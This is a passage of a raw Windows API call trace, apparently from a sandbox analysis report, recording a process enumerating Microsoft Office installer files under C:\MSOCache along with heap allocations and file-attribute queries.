BaseAddress=0x8f4fe0) returned 1 [0230.387] FindNextFileW (in: hFindFile=0x4fd460, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8c333b00, ftCreationTime.dwHighDateTime=0x1cacc53, ftLastAccessTime.dwLowDateTime=0x8c333b00, ftLastAccessTime.dwHighDateTime=0x1cacc53, ftLastWriteTime.dwLowDateTime=0xe86b5a80, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xa0200, dwReserved0=0x0, dwReserved1=0x0, cFileName="msvcr90.dll", cAlternateFileName="")) returned 1 [0230.387] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f4fe0 [0230.387] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f4fe0) returned 1 [0230.387] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f4fe0 [0230.387] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f4fe0) returned 1 [0230.387] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f4fe0 [0230.388] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f4fe0) returned 1 [0230.388] FindNextFileW (in: hFindFile=0x4fd460, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3ba05100, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3ba05100, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xe7e3b3f0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd79282, dwReserved0=0x0, dwReserved1=0x0, cFileName="OfficeLR.cab", cAlternateFileName="")) returned 1 [0230.388] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f4fe0 [0230.388] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f4fe0) returned 1 [0230.389] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f4fe0 [0230.389] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f4fe0) returned 1 [0230.389] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f4fe0 [0230.389] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x8f4228 [0230.389] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x8fad58 [0230.389] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f4fe0) returned 1 [0230.389] FindNextFileW (in: hFindFile=0x4fd460, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3cd17e00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3cd17e00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xe7c4ba40, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x387e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="OfficeMUI.msi", cAlternateFileName="")) returned 1 [0230.390] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f4fe0 [0230.390] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f4fe0) returned 1 [0230.390] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f4fe0 [0230.390] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f4fe0) returned 1 [0230.390] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f4fe0 [0230.392] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x8f4248 [0230.392] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x8fae60 [0230.392] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f4fe0) returned 1 [0230.392] FindNextFileW (in: hFindFile=0x4fd460, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xe7c27050, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x15b5, dwReserved0=0x0, dwReserved1=0x0, cFileName="OfficeMUI.xml", cAlternateFileName="")) returned 1 [0230.392] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f4fe0 [0230.394] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f4fe0) returned 1 [0230.394] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f4fe0 [0230.394] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f4fe0) returned 1 [0230.395] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f4fe0 [0230.396] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x8f4268 [0230.396] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x8faf68 [0230.396] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x140) returned 0x8f3990 [0230.396] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f9ee8) returned 1 [0230.396] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f4fe0) returned 1 [0230.400] FindNextFileW (in: hFindFile=0x4fd460, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3f33d800, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3f33d800, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xe7b68970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd4200, dwReserved0=0x0, dwReserved1=0x0, cFileName="OfficeMUISet.msi", cAlternateFileName="")) returned 1 [0230.400] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f4fe0 [0230.400] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f4fe0) returned 1 [0230.400] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f4fe0 [0230.400] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f4fe0) returned 1 [0230.400] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f4fe0 [0230.402] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x8f4288 [0230.402] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x8f9ee8 [0230.402] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f4fe0) returned 1 [0230.403] FindNextFileW (in: hFindFile=0x4fd460, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4529b900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x4529b900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xe7b68970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x333, dwReserved0=0x0, dwReserved1=0x0, cFileName="OfficeMUISet.xml", cAlternateFileName="")) returned 1 [0230.403] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f4fe0 [0230.403] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f4fe0) returned 1 [0230.411] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f4fe0 [0230.411] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f4fe0) returned 1 [0230.411] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f4fe0 [0230.411] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x8f42a8 [0230.411] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x8fb070 [0230.411] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f4fe0) returned 1 [0230.412] FindNextFileW (in: hFindFile=0x4fd460, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xc8b16200, ftCreationTime.dwHighDateTime=0x1cac190, ftLastAccessTime.dwLowDateTime=0xc8b16200, ftLastAccessTime.dwHighDateTime=0x1cac190, ftLastWriteTime.dwLowDateTime=0xe8728670, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x2ed80, dwReserved0=0x0, dwReserved1=0x0, cFileName="osetupui.dll", cAlternateFileName="")) returned 1 [0230.412] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f4fe0 [0230.412] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f4fe0) returned 1 [0230.412] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f4fe0 [0230.412] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f4fe0) returned 1 [0230.413] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f4fe0 [0230.413] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f4fe0) returned 1 [0230.413] FindNextFileW (in: hFindFile=0x4fd460, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x77cbb000, ftCreationTime.dwHighDateTime=0x1cac57a, ftLastAccessTime.dwLowDateTime=0x77cbb000, ftLastAccessTime.dwHighDateTime=0x1cac57a, ftLastWriteTime.dwLowDateTime=0xe8728670, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x6a3b, dwReserved0=0x0, dwReserved1=0x0, cFileName="pss10r.chm", cAlternateFileName="")) returned 1 [0230.413] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f4fe0 [0230.413] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f4fe0) returned 1 [0230.413] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f4fe0 [0230.413] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f4fe0) returned 1 [0230.413] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f4fe0 [0230.413] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x8f42c8 [0230.413] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x8fb178 [0230.413] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f4fe0) returned 1 [0230.413] FindNextFileW (in: hFindFile=0x4fd460, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7cab9f00, ftCreationTime.dwHighDateTime=0x1cac8ad, ftLastAccessTime.dwLowDateTime=0x7cab9f00, ftLastAccessTime.dwHighDateTime=0x1cac8ad, ftLastWriteTime.dwLowDateTime=0xe8728670, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x10676, dwReserved0=0x0, dwReserved1=0x0, cFileName="setup.chm", cAlternateFileName="")) returned 1 [0230.413] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f4fe0 [0230.413] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f4fe0) returned 1 [0230.413] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f4fe0 [0230.413] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f4fe0) returned 1 [0230.413] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f4fe0 [0230.413] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x8f42e8 [0230.413] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x8fb280 [0230.413] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f4fe0) returned 1 [0230.413] FindNextFileW (in: hFindFile=0x4fd460, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x42c75f00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x42c75f00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xe8728670, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x2488, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0230.413] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f4fe0 [0230.413] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f4fe0) returned 1 [0230.413] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f4fe0 [0230.414] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f4fe0) returned 1 [0230.414] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f4fe0 [0230.414] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x8f4308 [0230.414] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x8fb388 [0230.414] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f4fe0) returned 1 [0230.414] FindNextFileW (in: hFindFile=0x4fd460, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x131a1c00, ftCreationTime.dwHighDateTime=0x1cacdea, ftLastAccessTime.dwLowDateTime=0x131a1c00, ftLastAccessTime.dwHighDateTime=0x1cacdea, ftLastWriteTime.dwLowDateTime=0xe84c60d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShellUI.MST", cAlternateFileName="")) returned 1 [0230.414] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f4fe0 [0230.414] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f4fe0) returned 1 [0230.414] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f4fe0 [0230.414] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f4fe0) returned 1 [0230.414] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f4fe0 [0230.414] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x8f4328 [0230.414] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x8fb490 [0230.414] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f4fe0) returned 1 [0230.414] FindNextFileW (in: hFindFile=0x4fd460, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x131a1c00, ftCreationTime.dwHighDateTime=0x1cacdea, ftLastAccessTime.dwLowDateTime=0x131a1c00, ftLastAccessTime.dwHighDateTime=0x1cacdea, ftLastWriteTime.dwLowDateTime=0xe84c60d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShellUI.MST", cAlternateFileName="")) returned 0 [0230.414] GetLastError () returned 0x12 [0230.414] FindFirstFileExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\*", fInfoLevelId=0x1, lpFindFileData=0x15ff20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15ff20c) returned 0x4fd5a0 [0230.414] FindClose (in: hFindFile=0x4fd460 | out: hFindFile=0x4fd460) returned 1 [0230.414] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe7b68970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe8729610, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8729610, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0230.415] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe8691090, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe8691090, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8691090, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0230.415] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x8fb6a8 [0230.415] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\1033"), fInfoLevelId=0x0, lpFileInformation=0x15ff108 | out: lpFileInformation=0x15ff108*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe8691090, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe8691090, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8691090, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0230.666] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\1033"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1ac [0230.666] SetFileTime (hFile=0x1ac, lpCreationTime=0x0, lpLastAccessTime=0x15ff14c, lpLastWriteTime=0x15ff14c) returned 0 [0230.666] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4000) returned 0x8fd690 [0230.666] DeviceIoControl (in: hDevice=0x1ac, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x8fd690, nOutBufferSize=0x4000, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x8fd690, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0) returned 0 [0230.666] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8fd690) returned 1 [0230.666] NtClose (Handle=0x1ac) returned 0x0 [0230.667] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8fb6a8) returned 1 [0230.667] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f4fe0 [0230.667] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5068 [0230.667] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x8fb6a8 [0230.667] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f4fe0) returned 1 [0230.667] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x8fb7b0 [0230.667] FindFirstFileExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\*", fInfoLevelId=0x1, lpFindFileData=0x15fef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fef54) returned 0x4fd460 [0230.667] FindNextFileW (in: hFindFile=0x4fd460, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe8691090, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe8691090, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8691090, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0230.667] FindNextFileW (in: hFindFile=0x4fd460, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6a35700, ftCreationTime.dwHighDateTime=0x1cac9d7, ftLastAccessTime.dwLowDateTime=0x6a35700, ftLastAccessTime.dwHighDateTime=0x1cac9d7, ftLastWriteTime.dwLowDateTime=0xe8691090, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x1a588, dwReserved0=0x0, dwReserved1=0x0, cFileName="dwintl20.dll", cAlternateFileName="")) returned 1 [0230.667] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f4fe0 [0230.667] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f4fe0) returned 1 [0230.667] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f4fe0 [0230.667] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f4fe0) returned 1 [0230.667] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f4fe0 [0230.667] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f4fe0) returned 1 [0230.667] FindNextFileW (in: hFindFile=0x4fd460, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6a35700, ftCreationTime.dwHighDateTime=0x1cac9d7, ftLastAccessTime.dwLowDateTime=0x6a35700, ftLastAccessTime.dwHighDateTime=0x1cac9d7, ftLastWriteTime.dwLowDateTime=0xe8691090, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x1a588, dwReserved0=0x0, dwReserved1=0x0, cFileName="dwintl20.dll", cAlternateFileName="")) returned 0 [0230.667] GetLastError () returned 0x12 [0230.667] FindFirstFileExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\*", fInfoLevelId=0x1, lpFindFileData=0x15fef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fef54) returned 0x4fd560 [0230.667] FindClose (in: hFindFile=0x4fd460 | out: hFindFile=0x4fd460) returned 1 [0230.667] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe8691090, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe8691090, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8691090, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0230.667] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6a35700, ftCreationTime.dwHighDateTime=0x1cac9d7, ftLastAccessTime.dwLowDateTime=0x6a35700, ftLastAccessTime.dwHighDateTime=0x1cac9d7, ftLastWriteTime.dwLowDateTime=0xe8691090, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x1a588, dwReserved0=0x0, dwReserved1=0x0, cFileName="dwintl20.dll", cAlternateFileName="")) returned 1 [0230.668] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6a35700, ftCreationTime.dwHighDateTime=0x1cac9d7, ftLastAccessTime.dwLowDateTime=0x6a35700, ftLastAccessTime.dwHighDateTime=0x1cac9d7, ftLastWriteTime.dwLowDateTime=0xe8691090, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x1a588, dwReserved0=0x0, dwReserved1=0x0, cFileName="dwintl20.dll", cAlternateFileName="")) returned 0 [0230.668] GetLastError () returned 0x12 [0230.668] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8fb7b0) returned 1 [0230.668] FindClose (in: hFindFile=0x4fd560 | out: hFindFile=0x4fd560) returned 1 [0230.668] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5068) returned 1 [0230.668] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8fb6a8) returned 1 [0230.668] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x11e8ef00, ftCreationTime.dwHighDateTime=0x1cacdea, ftLastAccessTime.dwLowDateTime=0x11e8ef00, ftLastAccessTime.dwHighDateTime=0x1cacdea, ftLastWriteTime.dwLowDateTime=0xe84c60d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x91975, dwReserved0=0x0, dwReserved1=0x0, cFileName="branding.xml", cAlternateFileName="")) returned 1 [0230.668] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa26c9d00, ftCreationTime.dwHighDateTime=0x1cac9ae, ftLastAccessTime.dwLowDateTime=0xa26c9d00, ftLastAccessTime.dwHighDateTime=0x1cac9ae, ftLastWriteTime.dwLowDateTime=0xe85142d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xccb88, dwReserved0=0x0, dwReserved1=0x0, cFileName="DW20.EXE", cAlternateFileName="")) returned 1 [0230.668] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xabf60500, ftCreationTime.dwHighDateTime=0x1cac9ae, ftLastAccessTime.dwLowDateTime=0xabf60500, ftLastAccessTime.dwHighDateTime=0x1cac9ae, ftLastWriteTime.dwLowDateTime=0xe85ab8b0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x80760, dwReserved0=0x0, dwReserved1=0x0, cFileName="dwdcw20.dll", cAlternateFileName="")) returned 1 [0230.668] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xabf60500, ftCreationTime.dwHighDateTime=0x1cac9ae, 